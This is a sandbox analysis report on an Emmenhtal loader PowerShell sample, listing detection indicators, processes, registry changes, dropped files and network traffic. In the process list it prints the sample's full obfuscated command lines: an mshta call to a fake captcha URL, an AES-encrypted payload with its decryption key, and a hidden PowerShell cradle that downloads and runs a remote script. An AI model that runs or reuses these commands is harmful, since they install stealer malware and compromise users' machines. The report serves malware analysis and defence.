File name:

1.ps1

Full analysis: https://app.any.run/tasks/fcc592bd-fe5a-4ab0-b7f5-bb68fbc1e962
Verdict: Malicious activity
Threats:

First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments.

Malware Trends Tracker     >>>
Analysis date: January 01, 2025, 04:38:50
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
emmenhtal
loader
reflection
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with no line terminators
MD5:

1CA2C37D699C31038A935DF80666343B

SHA1:

845E2FC0FF86D9E1B40F6D3536A636FDEAA4A3D4

SHA256:

BE8EC04111BF65A104B306BC679F9C467E7BBE1723BB8EEAA23BE1D0BA84C6DD

SSDEEP:

3:rN6e/ITPJMiaefRBsho3SHEVX95t+RbqRF4I1yMQRWLQn:Z6e2BOefshQ3Xb0IMPyQ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • EMMENHTAL loader has been detected

      • powershell.exe (PID: 4308)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2496)
      • powershell.exe (PID: 4944)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 4980)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 4308)
      • powershell.exe (PID: 4944)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 4308)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 4944)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 4980)
      • powershell.exe (PID: 4308)

    • Executes script without checking the security policy

      • powershell.exe (PID: 4308)
      • powershell.exe (PID: 4944)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 4980)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 4980)
      • powershell.exe (PID: 4308)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Detects reflection assembly loader (YARA)

      • powershell.exe (PID: 4944)

  • INFO

    • The process uses the downloaded file

      • mshta.exe (PID: 4980)
      • powershell.exe (PID: 4308)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 4980)

    • Checks proxy server information

      • mshta.exe (PID: 4980)
      • powershell.exe (PID: 4944)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 4308)

    • Creates or changes the value of an item property via Powershell

      • powershell.exe (PID: 4308)

    • Disables trace logs

      • powershell.exe (PID: 4944)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 4944)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
125
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs mshta.exe #EMMENHTAL powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
204\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1476\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2496"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\Desktop\1.ps1C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
4308"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FRsZn($zLKrb){return -split ($zLKrb -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$VUQBu = FRsZn('C3A33C52A21C41B9F45DD91B9A3BF30CF2EC6EDD823C9CECE83AD45776A5B6CCA18208E15A52DF5B7F83353D6E23BD618F30020318AA0658A8B9202E85F786765CAAB181B34D40F3E1AFBB439A24557CA57621A37BD3FD396EFFD4A447891C80C3A87A883D5313ADDB72306D4184811757153E08EDD2EF4BECF037797B4B79F777C6223CC775BC4B03CC115C23AD1596E113A7F8E74EB4EEC5E6D17A73F590BCA9BE30FE8DE26E4F3F386BC2B0DF4C8B789F385D01CC9DEEFE7FFE963CAD5B715105E46717C1F8CA599AAC7C726247B67B2EF008D6815624C48D8921D6C026C2D761B3C73420E46D41EB38B2BE6DC3A6E728398BE20DF964E092C95FFF64376795C2EB65F33EC3620D837926668055A522E8A88AC3164B0FFA0FE44948E6327C8E69269E914364F60006F48EB7A2F9830777B3C6BC5165322AC78640320B0B34D2AA9C9EF97D71CAF1BE1EDD212144C4E5EDA5048BFFD67A1DAE7B36D7277064EDF983455E52E8A0A77BCEF0FA38AB0C8D4EA1FCA20A03B622CFD25F156452A918D62CCD80D0060DF532D92D537F9E1ECC41864005C3C9E067C14930765854957EFB5E71DDA020E9C8287B2F961F0BDC387138260ABC45FB51EA8AE2B650D5B9C6E9C5687580B83CC67FAABC67D590702C85406AB842938C6700BDEE21992168619BEA16916FB865DC5F6DF6D9F4F1B2CCA2D2BF385A560E8F04C765355464B3F06BDD88EA77E44A2D1776F2B6CD01864CFEE829FB17A5E70D006D79C119DC5F57A9A25AA984AA5B1704215FFBC39398A42CB74F3594AA3D56DAE65B45E14CC7B4611364CE10E2A98948A4408130F9C618D3F505B018949F27C940B9058868E152DD2A4787F24AD17BF0A1F6BF9DF717F3BFD33DC5A1972C3919F13AEE4CB268C7DC3F54CF3AC0EE2BA15D2C8D82C9A8C7B8B2A0FD03B7AA09EA4F38E2B6FD1C519EACEDAE21D18FB3B6CBB0A3CD5570DE3F6C90D36EAA1E063743143EBA60B985DE8361C93EC0D22BCAD34D88804A5C111C47C68EE0D30AC9C64F3AE88BA57295F333C3B513E91EF96441C281655217BA1DE5C3FDEC2419E6DDAC538710D679FF0DF83B2EBE940E136711ED6C3C0FBFAD98C9CD7FCEEB3415207ACAAA8F091CDD9D584DB90BD37D6E6AA2BE9E6344E6C4A74A99DBC82A78E28F9AABA7BAB79EF7ECD2EC5397E326870A7A51E0D74D954C0215E1BAA229E0816AABBCB00A25173C21E313511B1C978FD55355ADFBF4E15EBD0A9B52C25E32EA220C9D9DBACD18EE9CEEC99257188138D0ABBD29C4DFFC9B960A9CEC94DF767700576A1EF94D8B5F25088C95CB11F2AC671514479E6568DF04F03553A9607589926AABEEDCE4449E803E102F7E84665C1EDBE23E8C0D5DFAB8C81BC5277AAAA134C26CD84C912045FEE79030EAF24569738BDC109FE8349634563C2F5EE96E70C6932AF1AB2C27F468AA44A2B4E2ABEBB52F245AB3E0B51A5D301366672FE9F491D4F1038B32F46286F25D8D40248A896053E14BE3DA4565AB47483A26AB50D34AF15BFC76980B08272D58F9CAB8F88E13142E13805C1ECA94D3C7934EAB6A74C1BAA74CD734574037B043E95C8086CFE97D42C4B9A7F1C21BC9FE6FFEC1DAF361C9A765C5C0A9E41D0D9FDE014881D03D024F34A7EBC93790F2B789B1D7F8AF2755F7862A0E0238A32A772D6A2732B3095DAAD4EB0E7D9915B8CB5B83C7FD80951D9638EF55A6375A4B0A1A6A39486BD42703740D4739F14C284BAD645B7AEAD8AC307E2B9086D4067F09951FB60ACCFB3C645EF7029257E657DB2C75969E04CEA94922CBA886EE7FB2C5094B35B47B3E5A6D070E4C8F6BFF03BF56A6B5E69DB983EC5AC0059A752A08B6681BBF75BE4896545506145ACE95DFFDBF434E62E3EA18A82FB864DBAAF7024875DFAAD3455165F3E298C179E9C1BB64E557E51B265C18627C5213911A94A996DED9FAF3D0330D3F3E88BE2C45BB0C420751EC6D9A4B10B354AA9B10D7039997896CBC84E96ED894759B7F6EC303D431A1C284E80B0F41DD7B7095C39DFA3FFA3C5DAC6503E4E7D2A9357E4D1035C7529DAF56510661E0073D0774CC37C6D50823062C71BD864FA83B7C62B39136EF3D2B925C41C459527BD11BD88B2C0EFB234AF3A9BEC1D80B39780B48025DFF5F6C178B93DDF712850D1DF01DDF854BCDC17A251FF77FCE0C9538100E20B760941EB486C522975B34051141DC18EF0568AFA1572E0FA83A5BC2690D31086904583C27EE9C817B126F2253CF3CCD1704914D8640C18CA31D535669F9FD6A603DD53F72A57B9CD5430327727286E7BAAD13A6FFC39662E283A7FF978BFBF5FC5CC5AD1B6532DAD68D41E04F618D40AF75F747B2981066564E6D25416F3791017B463E698B280398C63BC8933C29AF09616A94C3BEA7D4DB384704BEC738B9921BF8898C01D30527E0AC949344494C49B43088E1CCC8686C23391F17452B02D5B81B43B2D2C06B9F16A23E9E9D87814CE2370D93C6FA82BA38C67929FD4899A473FE61DC37CA5A87F2EF8787A58DFA80CAB07CA991B121E35B8C81230AE958AE8E041C71E8D01DDBA8E8B5FC137E517D861E573DDF771C76B9FF74293555133275E31FC6A9DD69E2383D6D68BA4A50C71EB2A01AC0D83ED9D780D8E2C705249A5FB8BFE6075BF00425C865366BF8B7520989948982EC086CB930C60BFD2A43919A6D60A56DB6D5147D44BDA26305E434FBAEB0372ECFF4AF87A4D8C4C335E58BEF871285E7EB21F6E254351190F01B546758AEB96D90EAC30AE12B03A24FC2F97D3E421D8714C4CBAC8A57055D7B008B6C2BAF399731AA3200F812001847FB33B62F48E736887780A85C4673F47E7ED462E33E1548C32D0267151021174D334A2D5A504C69A4558F49E6F1B0219CB89D4B6D3773C0D9D1AD71754E9FF3938CBBCBFFEDDE23BA04DCE969E1D8B3904AFA17A972C310F35BCF0D222510068B1DCA603907C82B4E210FDBC369FFFC25846BB4F20E2859617B32043C903816DE80A42B6E9E87F83C3747BFD728BBC1280E82110C8C4979D26AB88E59076F703E098EF3965B72D2B9804D2E94D41B50BC31EF628704BFC95A21A38302980725E11668416D8B1446E5D0C6855E9EA62636E456872FA1A80C8E4410D6871AF6AE9E0E601497E4F1A7F61DC6F43E939B216392102D05EE16C0164C7B92D9CC1CCC6D70E28514EE6924ECEAD49A161ABD47DF4A06F7ED617E02E525D5118BC8244B9298001EAA02AA3874785A6BFCDF3F8DF9DF76F9DBC541CF7B1A069EEB3CB9550D16');$IoNU=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((FRsZn('444C5A775845534878786D7A6C446679')),[byte[]]::new(16)).TransformFinalBlock($VUQBu,0,$VUQBu.Length)); & $IoNU.Substring(0,3) $IoNU.Substring(129)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4944"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://deduhko.klipzyroloo.shop/mazkk.eml';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
4980"C:\WINDOWS\system32\mshta.exe" https://solve.vwglq.com/awjxs.captcha?u=6c079280-654d-44b7-add6-a7ba0821d64dC:\Windows\System32\mshta.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
6076\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
24 010
Read events
23 993
Write events
17
Delete events
0

Modification events

(PID) Process:(4980) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4980) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4980) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(4944) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
0
Suspicious files
6
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
2496powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:E211F6D44783AD1C495C58A5C9262916
SHA256:20EB105DD4F8636D75C323971FFD3639AAE595818BF1C3C3D1CC297F75688424
4944powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_haxyopp3.jit.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2496powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pbhgqktt.rif.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2496powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0TJ8ESM0B0DD9OSRSYK.tempbinary
MD5:E211F6D44783AD1C495C58A5C9262916
SHA256:20EB105DD4F8636D75C323971FFD3639AAE595818BF1C3C3D1CC297F75688424
2496powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1361ab.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
2496powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_53s0lpl0.2mb.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2496powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:5A7DF7021A2EDE1104E8923C557CCDCB
SHA256:D3601F884D65E6DD5176A98DB4E1DCA3B3D3032BDB41E7C2822EF26B89AE7D8F
4980mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\Poket[1].mp4binary
MD5:9FB3DB7B334F385701B3C88D63B7E5EE
SHA256:658D84007977B9BCBAC196D09EC012E15DBA6D71F026613BB08E3A0EC4ACEEF8
4308powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ekx5o3pp.l4x.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4944powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_skdfg2jc.wyj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
19
DNS requests
9
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1752
svchost.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
302
188.114.96.3:443
https://solve.vwglq.com/awjxs.captcha?u=6c079280-654d-44b7-add6-a7ba0821d64d
unknown
—
—
—
1752
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
—
188.114.96.3:443
https://deduhko.klipzyroloo.shop/mazkk.eml
unknown
—
—
—
—
—
GET
200
172.67.144.62:443
https://deduhko2.kliphuwatey.shop/Poket.mp4
unknown
binary
1.57 Mb
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
1752
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1752
svchost.exe
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
4712
MoUsoCoreWorker.exe
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
1752
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4712
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4980
mshta.exe
188.114.97.3:443
solve.vwglq.com
CLOUDFLARENET
NL
malicious

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 40.127.240.158
whitelisted
google.com
  • 142.250.181.238
unknown
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
solve.vwglq.com
  • 188.114.97.3
  • 188.114.96.3
unknown
deduhko2.kliphuwatey.shop
  • 172.67.144.62
  • 104.21.28.48
unknown
deduhko.klipzyroloo.shop
  • 188.114.96.3
  • 188.114.97.3
malicious
self.events.data.microsoft.com
  • 20.189.173.15
whitelisted

Threats

No threats detected
No debug info